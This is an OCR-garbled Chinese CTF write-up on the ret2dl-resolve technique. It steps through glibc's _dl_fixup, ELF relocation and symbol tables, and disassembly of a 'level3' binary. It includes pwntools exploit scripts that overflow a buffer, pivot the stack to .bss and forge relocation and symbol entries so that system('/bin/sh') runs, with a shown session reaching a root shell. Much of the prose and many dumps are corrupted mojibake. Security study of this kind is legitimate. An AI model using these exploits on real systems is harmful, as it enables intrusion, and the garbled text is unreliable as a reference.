= (const void *) (D_PTR (I, |_info[DT_JMPREL]) + reloc_offset) ;

const EIfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc—>r_info)];

const EIfW(Sym) *refsym = sym;

void *const rel_addr = (void *) (I->1_addr + reloc—>r_offset) ;

lookup_t result;

DL_FIXUP_VALUE_TYPE value;

D PTRE—1MEENX, fiTFglibc/sysdeps/generic/ldsodefs. hfi, FIFIET | ink_mapZEfafkFit. XJLIT
RIESHZESHFIRFEsymtab, strtabBEHUEFIFIFHSHreloc offset—ythTf“HﬁPLTREL2*$qP$Iﬁ Q*fz
Aﬂﬁiﬁ’l\ BRI rel ocF K symtab R symFl—rel_addr. HA1EREEFXNEBEFHIEX -
MURE N TEgl ibc/elf/el f. hif, 320 TiZLEHMAA
typedef struct
{

E1f32 Addr r offset; /* Address */
EIf32 Word r_info; /* Relocation type and symbol index */
} EIf32 Rel;

EXNEREPERNIRATE, Hor_offsetB5 TR Erel _addr, XNETEE_dI_fixupIm/E
returnft{ERN i #e | f_machine_fixup_pltEISHIEN, r_offset;LKTJ:?t{%ﬂﬁ%iinhHﬁgotiﬁlﬁtmiﬁ 5
— N EBHr_info2 5T HMRUTEsymM— L, MsymMERRTESIERSEITIRLEE _dI_1ookup_
symbo | _xFN75DL_F IXUP_MAKE_VALUEH, BRIV MEF—TE. FITELEKNBE—Treloc—>r_infod
S5HMEMmIRS K.

HAEERNEBEX24—1TRBB

121




OB

assert (ELFW(R_TYPE) (reloc—>r_info) == ELF_MACHINE_JMP_SLOT) ;
XATRIBA T — KR, ELFWERRHHER S, AXEXLRFERAT BaIFRAEI2H0644L, R_TYPEABIE L
IR EOR_SYME M AA T :
#define ELF32 R _SYM(i) ((i)>>8)
#define ELF32 R TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s, t) (((s)<<8) + (unsigned char) (1))
FRLAX—1TR A B reloc—>r_infolImE—NFT5, FIEiRE AELF_MACHINE_JMP_SLOT, B7. F{I#LEE T
=1
if (I->1_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const EIfW(Half) *vernum =
(const void *) D_PTR (I, |_info[VERSYMIDX (DT_VERSYM)]) ;

EIfW(Half) ndx = vernum[ELFW(R_SYM) (reloc—>r_info)] & Ox7fff;

version = &l->1_versions[ndx];

if (version—>hash == 0)

version = NULL;
}

XEFRASfEMreloc—>r_infom#&hversioni#iT TIR{E, XEHKITATUEHreloc—>r_infolIE24L R HE T
RESHEndxBERE, HM7Eversion = &1->1_versions[ndx] AR gE S 5|2 4R F N T FEFZFBR% .
ERTEX—E, BMELEFE-—TLEsym, symEHEER TELFWR_SYM) (reloc—>r_info) {EA THRIFHITIK
&,
const EIfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc—>r_info)];
Elfw(Sym) £#ALIERKE 1 £32_Sym, FENX{Eglibc/elf/elf. h, GHEIIT:
typedef struct
{

EI1f32 Word st_name; /* Symbol name (string tbl index) */
E1f32 Addr st_value; /* Symbol value */
E1f32 Word st _size: /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /% Symbol visibility */
EI1f32 Section st_shndx; /* Section index */

} EIf32_Sym;

XEBEERR AT Est_other Flst_name# i AEI T
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym—>st_other), 0) == 0)

result = _dl_lookup_symbol_x (strtab + sym—>st_name, |, &sym, |->|_scope
version, ELF_RTYPE_CLASS PLT, flags, NULL);

XEEEET ARG, HBATTLUANRBZHETE, REXANifRZ, BEEH#HITEEMAIEE _dI_lookup_
symbol x7A 2 IT. ELFW(ST VISIBILITY) 2RI EE N

define ELF32_ST_VISIBILITY(0) ((o) & 0x03)

fiIFglibc/elf/elf. h, FRAFKRNTEFIXIBAIsym—>st_other RAAIA I /0.

FANATIAEB ZEIfE A _d|_lookup_symbo | xR HHISH P, E—PNSH AstrtabtsymDst_name, B=NSHE
symig$H US| . strtabfE BT LD R AstriabfiEHbll, 28R T HstrtabRELFSC R HI—A
FEK, AREIET. syntabFl. debug THIFFSRESE . HKiTRIBreade | FAHMRHKE—TXMNE.




BIUTE

i BIREHISETEA
-a level3 | grep str )

STRTAB 000106 0O
STRTAB DOPOPOLO E cC 000276 0O

DO 82 04 08 00 00 00 00 12 00 OB 00 00 63 72 74 D, ...iiuucnn. crt
15D0h: 73 74 75 66 66 2E 63 00 S5F S5F 4A 43 52 S5F 4C 49 stuff.c. JCR LI
15EOh: 53 54 SF SF 00 64 65 72 65 67 69 73 74 65 72 S5F ST__ .deregister_
15F0Oh: 74 6D SF 63 6C 6F 6E 65 73 00 72 65 67 €% 73 74 | tm clones.regist
1600h: 65 72 5F 74 6D 5F 63 6C 6F 6E 65 73 00 5F S5F 64 er tm clones. d
1610h: 6F SF 67 6C 6F 62 61 6C SF 64 74 6F 72 73 5F 61 | o_global dtors a
1620h: 75 78 00 63 6F 6D 70 6C 65 74 65 64 2E 37 31 38 wux.completed.718
1630h: 31 00 5F 5F 64 6F SF 67 6C ©F 62 61 6C 5F 64 74 | 1. do _global dt
1640h: 6F 72 73 SF 61 75 78 S5F 66 69 6E 69 S5F 61 72 72 | ors_aux fini arr
1650h: €1 79 5F 65 6E 74 72 79 00 66 72 €1 6D 65 S5F 64 | ay entry.frame d
1660h: 75 €D 6D 79 00 5F SF 66 72 61 6D 65 SF 64 75 6D ummy. frame dum
1670h: €D 79 S5F 69 6E 69 74 SF 61 72 72 61 79 5F 65 6E | my init array en
1680h: 74 72 79 00 6C 65 76 65 6C 33 2E 63 00 5F S5F 46 try.level3.c. F

1690h: 52 41 4D 45 5F 45 4E 44 5F 5F 00 5F S5F 4A 43 52  RAME END . JCR
16A0h: SF 45 4E 44 SF S5F 00 SF SF 69 6E 69 74 SF 61 72 _END . init_ar
16BOh: 72 61 79 5F 65 6E 64 00 S5F 44 59 4E 41 4D 49 43 | ray_end._ DYNAMIC
16COh: 00 SF S5F 69 6E 69 74 SF 61 72 72 61 79 5F 73 74 . init array st

16D0h: 61 72 74 00 SF 47 4C 4F 42 41 4C SF 4F 46 46 53 _art, GLOBAL OFFS
16EOh: 45 54 S5F 54 41 42 4C 45 S5F 00 S5F 5F 6C 69 62 63 | ET TABLE . libc
16F0h: SF €63 73 75 S5F 66 69 6E 69 00 72 65 61 64 40 40 | csu fini.read@@
1700h: 47 4C 49 42 43 SF 32 2E 30 00 SF 49 54 4D SF 64 | GLIBC 2.0. ITM d
1710h: 65 72 65 67 69 73 74 65 72 54 4D 43 6C 6F 6E 65 eregisterTMClone
1720h: 54 61 62 6C 65 00 SF SF 78 38 36 2E 67 65 74 S5F Table. x86.get
1730h: 70 63 5F 74 68 75 6E 6B 2E 62 78 00 64 61 74 61 pc_thunk.bx.data
1740h: SF 73 74 61 72 74 00 5F 65 64 61 74 61 00 5F 66  start. edata. f
1750h: €9 6E €9 00 76 75 6C 6E 65 72 61 62 6C 65 SF 66 ini.vulnerable f
1760h: 75 6E 63 74 69 6F 6E 00 S5F SF 64 61 74 61 5F 73 unction. data s
1770h: 74 €1 72 74 00 5F 5F 67 6D 6F 6E 5F 73 74 61 72 | tart. gmon star

1780h: 74 5F 5F 00 5F SF 64 73 6F SF 68 61 6E 64 6C 65 t__ . dso handle
1790h: 00 SF 49 4F SF 73 74 64 69 6E SF 75 73 65 64 00 | . IO stdin used.
17A0h: SF S5F 6C 69 62 63 SF 73 74 61 72 74 S5F 6D 61 69 libc_start_mai

17B0h: 6E 40 40 47 4C 49 42 43 SF 32 2E 30 00 n@EGLIBC_2.0.
17COh: 40 40 47 4C 49 42 43 S5F 32 2E 30 00 5F 5F [@9@@GLIBC 2.0.
17D0h: 6C 69 62 63 5F €3 73 75 SF €9 6E 69 74 00 5F 65 libc_csu_init._e
17E0h: 6E 64 00 SF 73 74 61 72 74 00 SF 66 70 5F 68 77 nd. start. fo hw

AUERXEHmZBread, write, _ libc_start mainZER B EZFEH . IBAEE dl_lookup_symbol xJg
FTAEBBXANEFR? HTFEANXDMEY, ZUXPMEREHNRBELRE. FEIEZNKXOHVEEEMTIZ
FAREIreloc_arg RN MR B EEMA, HAIELANSHEMET.
_dl_lookup_symbol x (const char *undef name, struct |ink _map *undef_map

const EIfW(Sym) **ref,

struct r_scope _elem *symbol scopel],

const struct r_found version *version

int type class, int flags, struct l|ink _map *skip_map)
{

const uint_fast32 t new_hash = dI_new_hash (undef _name) ;




OB

unsigned long int old _hash = Oxffffffff;
struct sym val current_value = { NULL, NULL };

/* Search the relevant loaded objects for a definition. */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
{
int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
It _value, *scope, start, version, flags
skip_map, type _class, undef_map) ;
if (res > 0)
break;

if (__glibc_unlikely (res < 0) && skip_map == NULL)
{
/* 0h, oh. The file named in the relocation entry does not
contain the needed symbol. This code is never reached
for unversioned lookups. */
assert (version != NULL);
const char *reference name = undef _map ? undef _map—>| name : "";
struct dl_exception exception;
/* XXX We cannot translate the message. */
_dl_exception_create_ format
(&exception, DSO_FILENAME (reference name),
"symbol %s version %s not defined in file %s"
" with link time reference%s",
undef _name, version—>name, version—>filename
res == =2 ?2 " (no version symbols)" : "");
_dl_signal_cexception (0, &exception, N_("relocation error")) ;
_dl_exception_free (&exception) ;
*ref = NULL;
return O;

HMBERH B F LW ITEhash, X hash&1&iE%do_lookup_x, MR BN TEX 2 ZALEREFEATATIL
FEitiskdo_lookup_xA REIEFHITEEMAIEH, MAHEEEresKT0IRATIRE T sREAIMbHE. Fo14k
453 Ndo_lookup_x, EIMEFELZFEMHHstrtab + sym>st_nameit B B S Hnew_hashiH{TiHE, 5
strtab + sym—>st_name, symEHRABMTAKEFR. Jttbdo_lookup xHISHFIRFENNSE, FHIATUL
MELR{RFEcurrent_valued,
do_lookup_x:
static int
__attribute noinline
do_lookup_x (const char *undef name, uint fast32_t new_hash

unsigned long int *old _hash, const EIfW(Sym) *ref,

struct sym val *result, struct r_scope_elem *scope, size t i

const struct r_found version *const version, int flags

struct |link_map *skip, int type class, struct |ink map *undef map)

_dl_lookup_symbol x:

int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref
It _value, *scope, start, version, flags
skip_map, type class, undef_map) ;
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ZEt, BNEEPMTE Treloc_argt BB EEMAIZM, KMNATEXKERE—T

&2 offser 5 MPREL H I
. LG BF2 Rel

B BI R I got M HE

RE—FPHH
27 H2afily
FHREIESR
TS

B2RfELT
#5. 7 sym=zb
EHPI B
H32_Sym #A¢
HATE

B

stname fE3
8. i sowb
hENEARE
FHERER
¥ &WEF
FhmkmEs
2f

A

AT wr i te SR B BT 547, writeBreloc_arg2E0x18
.plt:08048346
-plt:08048346 loc_ 8048346:

leo *

-plt:8804834B jmp loc_8648308
-plt:8804834B _plt ends

nlt+-A20K2NR

£/ reade I fﬁgfi 1; S| #&,EIJJMPRELEOXOBMSZbO

jrep ”HF L

ELZEREMEE rel. pItHE

| EFRATHIEETEH

BAEWIIE:
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Name Type Addr off Size ES Flg Lk Inf Al

NULL 00000000 OOOOOO 0OOO0GO 00 0
.interp PROGBITS 08048154 000154 000013 €0
.note.ABI-tag NOTE 08048168 000168 000020 0O
.note.gnu.build-i NOTE 08048188 000188 000024 00
.gnu.hash GNU_HASH 08048lac Pe@lac 000020 04
.dynsym DYNSYM 080481cc 0001lcc 000060 10
.dynstr STRTAB 0804822c 00022c 00PO50 0O
.gnu.version VERSYM 0804827c 00027c 000B0OC 02
.gnu.version r VERNEED 08048288 000288 000020 00O

DL OAOAAOS -0 _AAAS-0 _AfAAA0 A0

]

D>
oo ouUnme oo
oo N LR LR LR =D

REL 080482bo 0002b0 000020 08
PROGBITS 080482d0 00UZ2d0 POLOZ23 0O
PROGBITS 08048300 000300 00OO50 04
PROGBITS 08048350 000350 0001d2 00

[

e

PROGBITS 08048524 000524 000014 00O
.rodata PROGBITS 08048538 000538 00001 0O
.eh_frame hdr PROGBITS 08048558 000558 000034 00
.eh_frame PROGBITS 0804858c 00O58c 0OOGBec 0O
.init array INIT ARRAY 08049108 PPOTE8 POOEO4 0O
.fini_array FINI ARRAY 08049foc eeefoc 0OOOO4 00
Bicr PROGBITS 08049710 ee0f1l0 POOEO4 0O
.dynamic DYNAMIC 0804914 000714 0000e8 08
.got PROGBITS 08049ffc eeeffc 000004 04
.got.plt PROGBITS 08042000 001000 P0EO1lc 04
.data PROGBITS 0804a0lc 00101c 0OOOE8 0O
.bss NOBITS 08042024 001024 000004 0O
.comment PROGBITS 00000000 001024 000052 01
.shstrtab STRTAB 00000000 001076 000106 0O
.symtab SYMTAB 00000000 00117c 000450 10
.strtab STRTAB 00000000 B8015cc 000276 0O

HOIRBXRAE, IRBENERERIBTEIE, AT8r->offset = 0x0804a018 , r—>info=407, Sreadelf
FERM. rel. plt%ﬁ%ﬂ%ée

§eO482B6 OC AG 64 B8 07 ©1 BO 60 10 AG 64 68 67 02 00 6O

PEOLB2CH 14 AD O4 08 O7 O3 00 6O 18 AD B4 B8 07 04 B0 OO

EEMT '.rel.plt' i TIR¥E 0x2b0 BF 4 1T%H :
RS BB xR HEE TESMm
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0

VOO QD TNOHOODHODDOO

Vo000 OCDOOCOOCDODODODODODOOWV

[<]
f<y
@

0804a010 00000207 R 386 JUMP SLOT 00000000 gmon_start
0804a014 000003067 R 386 JUMP SLOT 00000000 libc start main@GLIBC 2.0
0804a018 00000407 R 386 JUMP SLOT 00000000 write@GLIBC 2.0

Fr AR symtabBYSE OIS, FATRILUET#inc lude<e | f. DB NIZLEMIIREFERsizeof BHEI£32_SymK /)M Jg
0x10, BT FHEreadel fERITIKERHK A WsymtabH TN LMEEINEHR, IREEMISEEITERES
#ITH, BERENGEPSEHEXREE, XMTETFE. BEERERBNATUASMESsyntabENTE
dymsym, 7ET33kFH BREAMIT080481cc

A8 BLBICEC EE 00 66 AP GO0 A0 00 08 OO 60 NG 66 A0 B0 0O 08

ABBLEIDC 1A OO OO OO OO0 A0 A0 PG OO0 OO 00 80 12 00 0O 00

PEOLYE1EC 37 00 00 00 B0 00 00 08 09O 00 00 00 20 00 00 08

PSB481FC 1F 08 00 60 60 OO OO A8 ©OA OO0 A6 60 12 9O 0O A8

AEO4820C 31 66 00 60 60 60 00 08 OO0 90 06 60 12 80 00 68
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STRRLEHIA, st_name@0x31, FETRHFEL(TEstrtabk, EHRY, strtabthBNFEdynstr, HilEFE
08048220 ﬂﬂJ:0X31F:j30804825d

08 84825D . 72 69 74 65 GI-] 5F 5F 6? 6II 6F 6E SF 73 74 61 write. gmn_sta
B864826D F2 74 SF SF 00 47 4C 49 42 43 S5F 32 2E 36 08 66 vrt__ .GLIBC_2.8..

I 0x02 32fii FMret2dl-resolve

BE—RZITKAEBEIEHER ST, BT EBMSEENNRE, NERNEBELERTENRE
BEXNMRIET . NEAMSTERTENNEEIHAZ BTN RBNEF, PBLWREITRITIE
writeBsystonte? HKA—T. I
08048240 6C 69 62 63 5F 73 74 61 72 ?h 5F 6D 61 69 6E Bﬂ llhc start_main.
08048250 73 79 73 74 65 6D 00 By 67 6D 6F 6E S5F 73 74 61 system._gmon_sta
08048260 72 74 SF SF 00 47 4C kg h2 H3 S5F 32 2E 30 60 88 rt__ .GLIBC_2.0..

NoOALON TN nnA AN DA AR AR AT nnn nn A4 AR /4 n[AR N4

-’ﬁzﬂ]?iﬁﬁ%ﬁll’ﬂﬁ%ﬁ& %FQL SIE1T, Ziflbiﬁﬁgotiéﬁﬁlb LERtwr i teFRIE systemfitiit.

.th.plt:ﬂSﬂhl’lﬂBﬂ BLI]BIIL OFFSET_TABLE_ dd offset unk_8049F14

-got.plt:B3B4ABDY oFF _804A004 dd offset unk_F7F91918 ; DATA XREF: .plt:loc_8848300i1r

.Qot.plt:0804A00E off_BO4A008 dd offset unk_F7F82010 ; DATA XREF: .plt:B80483061r

.got.plt:0804000C off_BO4AGEC dd offset loc_ 8048316 ; DATA XREF: _readir

-got.plt:0804A010 off_8O4AD10 dd offset loc_804u8326 ; DATA XREF: __ gmon_start_ fr
»

.got.plt:6804A014 of f_8O4AD1TS dd offset _ libc_start_main ; DATA XREF: __ libc_start_mainir
.got.plt:0804A018 off_804A018 dd offset _ libc_systenm ; DATA XREF: _writefr

.got.plt:6864A018 _got_plt ends

BLRANZTZATLUEKdynstr BEEIEER? BEEAANFEREM, HNBAZERLI. rel.plt. . dynsym
.dynstr IERNAEXIGHATS.

@ Choose segment to jump

Name Start End R WX D L
08048000 080482D0 R

12# 515 BATREBENF R Greloc_arg 7. EF EEMSH, HATWEERAENGFEFIHIEEIF32_RelF0
EIf32_SymPANEEIIME, HFahkifreloc_arglFEIEEIFANAZERILEMMA, 1LEIF32_Sym. st_namefJ{RFBE
IS EFSEMENTEF N ET BsystemFTER B J9 7 HUEATS, FfiTe et i TH s Hk4E 210x0804834B

.plt:88048346

-plt:08048346 loc_8048346:

[[ B

_plt:08848348 jmp  loc_ 8048308
-plt:08048348 _plt ends

mT4 = R RLDS LD
ALEFERA LB TEbssERME— N FTIH, LUBHREIFTEREIEF SR, ROPEEINT
#!/usr/bin/python
#coding:utf-8

from pwn import *
context. update (os = "linux', arch = 'i386")

start_addr = 0x08048350

read plt = 0x08048310

write plt = 0x08048340

write plt_without push reloc_arg = 0x0804834b

| EFREHISET VER
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leave_ret = 0x08048482

pop3_ret = 0x08048519

pop_ebp_ret = 0x0804851b

new_stack_addr = 0x0804a200 #bss5gotF
4R, _dI_fixuph &M EIXEES, REEbssEH bR — S IES BB NIEEbHEH 55

io = remote ('172.17.0.2', 10001)
payload = ""

payload += "A'*140

#padding

payload += p32(read plt) #EA B read i 2
EFHRSE, Fhitleave; retnZFTiE LM retZ|Hbib0 ESEIH$E

payload += p32(pop3 ret) #readf ER [E]
BEMEEEE =N

payload += p32(0) #fd =
0

payload += p32(new_stack addr) #buf = new
stack_addr

payload += p32(0x400)

#size = 0x400

payload += p32(pop_ebp_ret) HILFHRIN A
ebp, FETRFIMA leaveisSlebpAI{ENM LEesp

payload += p32(new_stack addr)

payload += p32(leave ret)

io. send (pay | oad) #IHE A
EFSEERNFEHpay | cadif FHread ik # AL F RN H 17

payload = ""

payload += "AAAA" #leave
= mov esp, ebp; pop ebp, AT pop ebp

payload += p32(write plt _without push reloc_arg) #HEBRNMR TR, EHIEFTwrited
HEEN, reloc_argEHAFKANTFNHNZF

payload += p32(0x18) #F R
writefJreloc_arg, JAFwrite

payload += p32(start_addr) HER TR
RiR[Elstart

payload += p32(1) #fd =
1

payload += p32 (0x08048000) #buf = ELFFE
FInEFk, writeSHIHELF

payload += p32(4) #size
=4

io. send (pay load)

TR EER

>>> io.send(payload)

>>> io.recv()

"Input:\n\x7fELFInput:\n’

BMNATABEENERRINT . BNLKIEILHEESwr ite_plt_without_push_reloc_arg b, TRLEREHEE
PLT[0], EFLAFRATATLAFEIX Atk g AR PLT [0] AL
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.plt: 88048300

.plt: 68648300 loc_8048300:
.plt: 88048300 push  ds:off_S04A004
.plt:B8048306 jmp ds:off_804A008
.plt: 88048306 ;

ST R B AT HE % FAEHBOME L O mA Atk
write_got = 0x0804a018

new_stack_addr = 0x0804a500 #bss5gotFTABEE, dI _fixupF M RIkEE
S, REBEbssEHMIIT— SR IESHENIE A IS

relplt_addr = 0x080482b0 #. rel. pltAYE HbtE, BT E b AIETAR EFRAT
{RIEHILEFIIARE | £32_Re | fTEH1Ereloc_arg

dymsym_addr = 0x080481cc #. dynsymBUE Hbdlk, @i E g it FnEAR _EFAR
IERYE | £32_SymZEAG IR RFBAIEE 1 £32_Rel. r_info

dynstr_addr = 0x0804822¢c # dynstri0Eitil, @it E g i _ B30
1E B BR B B F 5T B system{BFZAAIEE | £32_Sym. st_name

fake EIf32 Rel _addr = new_stack_addr + 0x50 HIEFT A% Bk — R ES BRI S HUE | 32 Re | 4544
&, GEHERKINABETS

fake E1f32_Sym_addr = new_stack addr + Ox5c #7E(HIERVE | £32_Re | 540 B HE 1 _E{hiERY
EIf32_SymZEtafl, Z5HAMRK/INA0x10FTs

binsh_addr = new_stack_addr + 0x74 #8/bin/sh\x00FZHF EHNEREHT

fake _reloc_arg = fake EIf32 Rel_addr — relplt_addr #itEhERreloc_arg

fake_r_info = ((fake EIf32 Sym_addr — dymsym addr) /0x10) << 8 | Ox7 #{hir_info, RIBEITER
NFR, BREAEIF32_SympIK:]y, fE—FT5A0x7

fake st name = new_stack addr + Oxéc — dynstr_addr #AIERVE | £32_SyméEta A IS 1E
LhER R B F i system

fake EIf32 Rel data = ""

fake EIf32 Rel data += p32(write got) #r_offset =
write_got, LAREENITTERIEotRMEHMEHINIEERNFIHDIEIR

fake EIf32 Rel data += p32(fake r_info)

fake EIf32_Sym data = ""

fake EIf32 Sym data += p32(fake st name)

fake EIf32_Sym data += p32(0) #EH R

BEEERw iteEHAIE | £32_SymZEiaE, BFERRATESNBITRE

fake EIf32 Sym data += p32(0)

fake EIf32 Sym data += p32(0x12)

FAVEFRAU R EEZE T —5, EAEERRANE_d_fixupBIHEL M EITIES A EX g0t REN,

gotRIEFFLTEbssHIBIE, HiEEbss, ATHLILEBITHE, HNFTTIEE. I, FEIENEMEN

ANERGEHESHE MR, BRTHEBRMEZRE, RIEXERNEIHETES, FiXHEHER

INEAMAIERSESIER, pwn it!
:~# python exp.py

[+] Opening connection to 172.17.0.2 on port 10001: Done

[#*] Switching to interactive mode

Input:

# 1s

core flag.txt level3 linux server
#

0x03 641i THret2dl-resolve
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5326 E, FEAMUT, & dl_fixupR¥MIZEEENE, BERFZHEXNTENELEETE T,
BanfEg | ibc/sysdeps/x86_64/dl-runtime. cHENT

reloc_offsetfreloc_index

#define reloc_offset reloc_arg * sizeof (PLTREL)

#define reloc_index reloc arg

#include <elf/dl-runtime. c>

BATT AT AT reloc_argBAE MR RIEA—MEBETE, MBEA—MUEATIREE. 1t
o, AN EBRNEHAR MY TH%: EIf32_Rel FHREIf64 Rela, EIf32_SymFA4RAEIT64 Sym, XA
LEHIR I KN F90x18

typedef struct

{

Elf64 Addr r_offset; /* Address */
Elf64 Xword r_info; /* Relocation type and symbol index */
Elf64 Sxword r_addend; /* Addend */

} EIf64 Rela;

typedef struct
{

Elf64 Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64 Section st_shndx; /* Section index */
Elf64 Addr st_value; /* Symbol value */
Elf64 Xword st_size; /* Symbol size */

} EIf64 Sym;

SN, dl_runtime_resolveMySEIRfIFglibc/sysdeps/x86_64/dI—trampoline. hdf, EREMTEENZ
BEANEMRE, %OABRMAZIER_dI_fixup, LAETRHEDH.
wE, AN T#iTret2dI-resolve®B— oIk, BIFANESITIRIEATIRENMEZ R A A2 —NBE
BURM R :
if (I->1_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const EIfW(Half) *vernum =
(const void *) D _PTR (I, |_info[VERSYMIDX (DT_VERSYM)]);
EIfW(Half) ndx = vernum[ELFW(R_SYM) (reloc—>r_info)] & Ox7fff;
version = &|->| _versions[ndx];
if (version—>hash == 0)
version = NULL;
}
XE&FEMAreloc>r_infolIEALEATHRZSE Tndx, SRGTE|ink_mapfI GA#4ATE = | _versionsHEUELE
Hversion. AT HEMENFHEEMRENMRIsym, r_infohRASH K. ERMWIBERAT, BTIEFHIBRETE
HEZE, relocor_infolIEm24M S BlvernumB A ARNIBERE L. ATREFRFMNER, vernum#AEHh
HHEEBXRAFEEHZLI0x00ETE, HEHESHreloc—>r_infolE2440id K G Mver num#i2E # 3% BRE Andx
BRABERZ), MNMETndxFESE _versionsHAMALRBEM. FHATTUXTRIER, 1DAFRZH
A_dl_fixupfg, $BEiST#If (I->1_info[VERSYMIDX (DT_VERSYM)] != NULL) F}ift.

| EFREHISET VER
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® 127| v11 = (_DWORD ®=)u9;
® 128) wi2 = =(_DWIRD =){v? + &4);
® 129 v13 = v1Z 3> 8;
® 138 ulh = *(_DWORD =)(u18 + &) + 16 * (u12 >> §);
® 131 w15 = #(_DURD =)ui;
® 132 u16 = #(_DUORD =)ul + #=uil;
® 133 w115 = vih;
® 1380 iF ( (_BYTE)u12 == 7 ) | Jf assert (ELFW{R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
135 {
® 136 V17 = (int (*=)(void))vi6;
® 137 1f ( =(_BYTE w)(ui4 + 18) & 3 ) 74 iF (__builtin_expect (ELFW(ST_UISIBILITY) (syn->st_other), @) == 8)
138 {
® 139 u23 = vis5;
148 H
181 else
142 {
@13
& 1hy) if ( vig )
RLH {
® 186 v19 = =(_DWORD *)(ui + BX178) + 16 = (#(_MORD =)(*(_DWORD =){v18 + %) + 2 = u13) & BXIFFF);
CRLT AF { t#(_DWORD *)(v19 + &) }
® 18 uio = 8

BRI B 4R

|F7F93925 oF 8% A5 00 88 60 j2 10c_F7F92900 1 G ]
ESI 00000004
EDIF7FA9918 o
EBP 080AAD1E o
ESPFFBS6788 o
] v EIPF7FR391D &
EFL 88000248
F7F93928 BE 52 BN now edx, [edx+h] FTF939D8
F7F9392E OF B7 14 72 mouzx  edx, word ptr [edxeesis2] ; esi = ELFW(R_SYM) (reloc->r_info)| [F7Foaspo loc_F7F93sne:
F7F9392E i = reloc-d>r_info 3> 8 F7F9asne 31 02 wor edx, edx
F7F93932 B1 E2 FF 7F 00 00 and  edx, 7FFFh F7F929D2 E9 77 FF FF FF jmp  loc_F7F939
FTFO3938 shl edx, &
FIFU3938 agd  edx, [edie170n]
F7F939n1 mou  ecx, [edxed]
F7F939n% test  ecx, eex
F7F939h6 B9 00 mow  eck, 0
F7F930KB OF 44 D1 chowz  edi, ecx
AN AR (=27 13£90 ISGT 148% -.\n' LB {@rmehrsmd sad wish BTDL

B 15178 Imovzx edx, word ptr [edx+esi*2]—{T

— YT T
= y | Eox oseus27C
F7F9392B 8B 52 B4 mow edx edx+h S5 CALLLLES
» [ 1 I EDI F7FA9918 1
F7F9302E : = reloc->r_info >> 8 EBP 0804AB1E 1
F7F93932 81 E2 FF 7F 60 00 and edx, 7FFFh ESP FF866788 1
F7F93938 C1 E2 O shl edx, 4 EIP F7F9392E 1
F7F9393B 03 97 70 01 80 0O add edx, [edi+176nh] EFL 00000202
F7F93941 8B 4n b4 nov ecx, [edx+4]
F7F93944 85 C9 test BCY, eCx
F7F93946 BO 80 0O 08 0D nov ecx, 0
F7F93948 OF 44 DA CMovz edx, ecx

MEedxHI{E, IALFI0x0804827c, edx+esi*2 = 0x08048284, TEIZFHIMFIETER

[&] choose segment to jump

Name Start End R WX D 1L
[ level3 08048000 080482D0 R X D .
.init 080482D0 080482F3 R X L
& level3 080482F3 08048300 R X D .
@ .plt 08048300 08048350 R X . L
& text 08048350 08048522 R X . L
[ level3 08048522 08048524 R X D .
fini 08048524 08048538 R X . L
[&] .rodata 08048538 08048557 R . L
& level3 08048557 08048558 R X D .
[&] .eh_frame_hdr 08048558 0804858C R L
[ .eh_frame 0804858C 08048678 R .. L
level3 08048678 08049000 R X D
[@ level3 08049000 08049F08 R . . D .
[ .init_array 08049F08 08049FOC R W . L
[&] fini_array 08049F0C 08049F10 R W . L
& jer 08049F10 08049F14 R W. . L
level3 08049F14 08049FFC R . . D .
[ .got 08049FFC 0804A000 R W . L
[ .gotplt 0804A000 0804A01C R W . L
[ data 0804A01C 0804A024 R w . L
[&] bss 0804A024 0804A028 R w . L
@] extern 0804A028 0804A050 22?7 . L
[ level3 0804A050 0804B000 R W. D
[@ libc_2.24.50 F7DBF000 F7F73000 R X D
[&] libc_2.24.:50 F7F73000 F7F75000 R D
[&@ libc_2.24.50 F7F75000 F7F76000 R W D
@ debug001 F7F76000 F7F79000 R W D
[&] debug002 F7F7D000 F7F80000 R D
[vvar] F7F80000 F7F83000 R . D
[ [vdso] F7F83000 F7F85000 R X D
F7F85000 R )
[&] Id_2.24.50 F7FA8000 F7FAS000 R . . D
[@ Id 2.24.50 F7FAS000 F7FAA000 R wW. D




BIUTE

—E B #h31E0x0804b000£R 2 AT MY, Frllesi, WFiRreloc—>r_infolE24 I aAl LUARIOx16c2, EfE
2. dymsym5. bssHUERR, XN AIFEEEABH. HEETE

F7F9392E OF B7 14 72 mouzx  edx, word ptr [edx+esi=2]
F7F9392E H = K
F7F93932 81 E2 FF 7F 00 B0 and edx, 7FFFh

F7F93938 C1 E2 04 shl edx, 4

F7F9393B 03 97 70 01 00 60 add edx, [edi+176h]

F7F93941 8B 4n 04 nov ecx, [edx+4]

HERTEedi = 0xf7fa9918, [edi+170h]{RTZHI{E JI0XF77eb08, HIFiELLAIiFAI ML E K& J90xF7faa000

, Eikmov ecx, [edx+4]—1T, RBZAIJLITLARREMNEL, REREHHedx{ER KT (0xf7faad00-
0xf7f7eb08) /0x10 = Ox2b4f, version = &1->1_versions[ndx]; i SEZEIEERNTEFIFE. FHNESE
I10x0804827¢~0x0804b000Z (8] JLF R B A2 F Twor dBUHHRH TS ER . FEt, AIHIBE R T2 R R
‘D& ret2d]-resol ve FE AN E B BIER 1R

mxtFoafi, H{IBHERIETEERATEIEF/XMAN 2016-1evel3_64/level3_645 L MATH{1EH
Hibss R # AR ST E] 7 0x6000002 f&, TdynsymAYtiE{55R#E0x400000/Fi, r_infoRIEALESTHBRA,
BN _Etktvernumts ZE0x400000F1ifr, vernum[ELFW(R_SYM) (reloc—>r_info) 1§42 BRAMEEZAEL
0x400000~0x6000001[8] A A~ AT 1L X 12

@ level3 x64 000000000040083C 0000000000401000 R .
[&] level3 x64 0000000000600000 0000000000600840 R W

MWFEE—NEREIR. ATHIEEIXMER, RONSEEKFIETRIZ, £151->1_info[VERSYMIDX
